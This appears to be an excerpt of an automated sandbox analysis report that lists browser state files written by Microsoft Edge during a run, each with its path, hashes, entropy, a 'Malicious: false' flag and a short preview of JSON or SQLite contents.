Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382513132068897","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382513136334135","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380014739289028","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9af5bc98-6267-48b5-bc4c-60db5158b1ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7923902579618676
Encrypted:	false
SSDEEP:	192:tT8c26UKR3SflWfUUHqySLxXcf0L/ZJVb:V8cQKRCflqUUHTsxXI0LhJVb
MD5:	D6A971BD8BF46809C2FFA5305B121B2D
SHA1:	DB3DFE949079E503FD0BD14CB1BA896E6FD0602F
SHA-256:	D79502954A1B1F8837332864204D949B03C7475247ED1C0A07D80C5E0DD36189
SHA-512:	0A4934B50CF6BD3C72B47C48B0A155EAD837D51711D3491C8065FDA2389F96A571CDAEE4AE607E580DD94DEE0832A69999CF6D9100783443F27EC30D9FECB5F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4bb4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2142006215079
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9Ws:uIEumQv8m1ccnvS600qTQDv
MD5:	977A876578C2F95370DEF825A717E2B3
SHA1:	134B7E2747B919DCF12AEB7758766DD09A1D3465
SHA-256:	3B581C2063343E7BB64D80E64E6E53765C88C371F393154F21896B7E73CDF342
SHA-512:	557D8813AEA29EE4CC93C12993581B9018347B3D6589FD8B7E4DCED7689D980818D376BA2109C28433ABAFE7E7C68E368311ED5E5233A9F90C6795CA4FB5C747
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a50b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c2b5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\cf50743c-d644-462d-b729-8fc9db759b3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f6f81963-8023-421b-a4f4-4078e7f010d9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.124125231520863
Encrypted:	false
SSDEEP:	192:stCkdpEDszqsZihUkAKt8HbV+F3xQA66WZaFIMYBPuYJ:stCQEDszqfhCbGBQx6WZaTYp
MD5:	4E267B9E2EC176C8EE62A40F26F99038
SHA1:	0463B2ADE2DC8B278B433F94395C78214A740693
SHA-256:	5358804ED28AD92CF49E3A9B3EAA3BE30232055E9959F64B657D0671C2A3ECF2
SHA-512:	DED2466C8B20E6E627D1B74DC1DB9D0F35D3860FFC30C75CEF4C46FBDF49E627F653D27F58882FEB0C7B55AB2E7BB4AB9FE031736B4B423C5999B58000E8ABAA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f435.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.124125231520863
Encrypted:	false
SSDEEP:	192:stCkdpEDszqsZihUkAKt8HbV+F3xQA66WZaFIMYBPuYJ:stCQEDszqfhCbGBQx6WZaTYp
MD5:	4E267B9E2EC176C8EE62A40F26F99038
SHA1:	0463B2ADE2DC8B278B433F94395C78214A740693
SHA-256:	5358804ED28AD92CF49E3A9B3EAA3BE30232055E9959F64B657D0671C2A3ECF2
SHA-512:	DED2466C8B20E6E627D1B74DC1DB9D0F35D3860FFC30C75CEF4C46FBDF49E627F653D27F58882FEB0C7B55AB2E7BB4AB9FE031736B4B423C5999B58000E8ABAA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF434c8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.124125231520863
Encrypted:	false
SSDEEP:	192:stCkdpEDszqsZihUkAKt8HbV+F3xQA66WZaFIMYBPuYJ:stCQEDszqfhCbGBQx6WZaTYp
MD5:	4E267B9E2EC176C8EE62A40F26F99038
SHA1:	0463B2ADE2DC8B278B433F94395C78214A740693
SHA-256:	5358804ED28AD92CF49E3A9B3EAA3BE30232055E9959F64B657D0671C2A3ECF2
SHA-512:	DED2466C8B20E6E627D1B74DC1DB9D0F35D3860FFC30C75CEF4C46FBDF49E627F653D27F58882FEB0C7B55AB2E7BB4AB9FE031736B4B423C5999B58000E8ABAA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4aa17.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9816
Entropy (8bit):	5.124125231520863
Encrypted:	false
SSDEEP:	192:stCkdpEDszqsZihUkAKt8HbV+F3xQA66WZaFIMYBPuYJ:stCQEDszqfhCbGBQx6WZaTYp
MD5:	4E267B9E2EC176C8EE62A40F26F99038
SHA1:	0463B2ADE2DC8B278B433F94395C78214A740693
SHA-256:	5358804ED28AD92CF49E3A9B3EAA3BE30232055E9959F64B657D0671C2A3ECF2
SHA-512:	DED2466C8B20E6E627D1B74DC1DB9D0F35D3860FFC30C75CEF4C46FBDF49E627F653D27F58882FEB0C7B55AB2E7BB4AB9FE031736B4B423C5999B58000E8ABAA
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379921128230606","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56740685732104
Encrypted:	false
SSDEEP:	768:TGAWIaWP+YfIn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJw4+DrwLupmtuC:TGAWIaWP+YfInu1jaQ/+4ftx
MD5:	E075840C738EFF8F17C6465E50833E30
SHA1:	55F90FA8AD389E7E92ABDE6738695932D1EAE5D9
SHA-256:	A74E1DF9BC7B4EBC03C67B2CB34617EE6B8FF5CC80E92F1BECF397FB453CF8F2
SHA-512:	73B025C5407DC1606F369002C2DAF1DE459E92175F42BBED88F22220B3C55B46824AAEDA7F98F766D8B10388A4280600AE127BDA7EE3F0ABF5FEDD41B0ED7EFB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379921127671009","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379921127671009","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e9c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.56740685732104
Encrypted:	false
SSDEEP:	768:TGAWIaWP+YfIn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJw4+DrwLupmtuC:TGAWIaWP+YfInu1jaQ/+4ftx
MD5:	E075840C738EFF8F17C6465E50833E30
SHA1:	55F90FA8AD389E7E92ABDE6738695932D1EAE5D9
SHA-256:	A74E1DF9BC7B4EBC03C67B2CB34617EE6B8FF5CC80E92F1BECF397FB453CF8F2
SHA-512:	73B025C5407DC1606F369002C2DAF1DE459E92175F42BBED88F22220B3C55B46824AAEDA7F98F766D8B10388A4280600AE127BDA7EE3F0ABF5FEDD41B0ED7EFB
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379921127671009","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379921127671009","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.815561320667068
Encrypted:	false
SSDEEP:	24:F2xc5Nm8cncmoDCRORpllg2hEEfRHnldCRORpllg2h6d+8gFCRORpllg2hEnRHnQ:F2emFMrd6EfBxrdod+lrd6nBdrdpB8
MD5:	79A20979DC10AE278E11C6BA0700C45A
SHA1:	E75B3B9EF9EA9593299209A1611D2DEC85B2CEE7
SHA-256:	FBA6DFAD546278B07DADCBF06841B1151DD78403F1EFEC011A9818A6998033B3
SHA-512:	72957AA7E93457AC3134AE3FD41148B4FC8E8612A10359CA8D48250B8BA90600A31771C93BB6DAB0D3F968BBB240A28431938C26B357CA6EE7A897B984ED9BEB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2mX..................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.161667012157079
Encrypted:	false
SSDEEP:	6:HR9fQB1923oH+TcwtE/a252KLlRRHpM+q2P923oH+TcwtE/a2ZIFUv:HvIMYeb8xL/dpM+v4Yeb8J2FUv
MD5:	5C509D7AFC92550D7916B699540E1DCD
SHA1:	2EF410F3DA5124098C452C4DA96D83098F650303
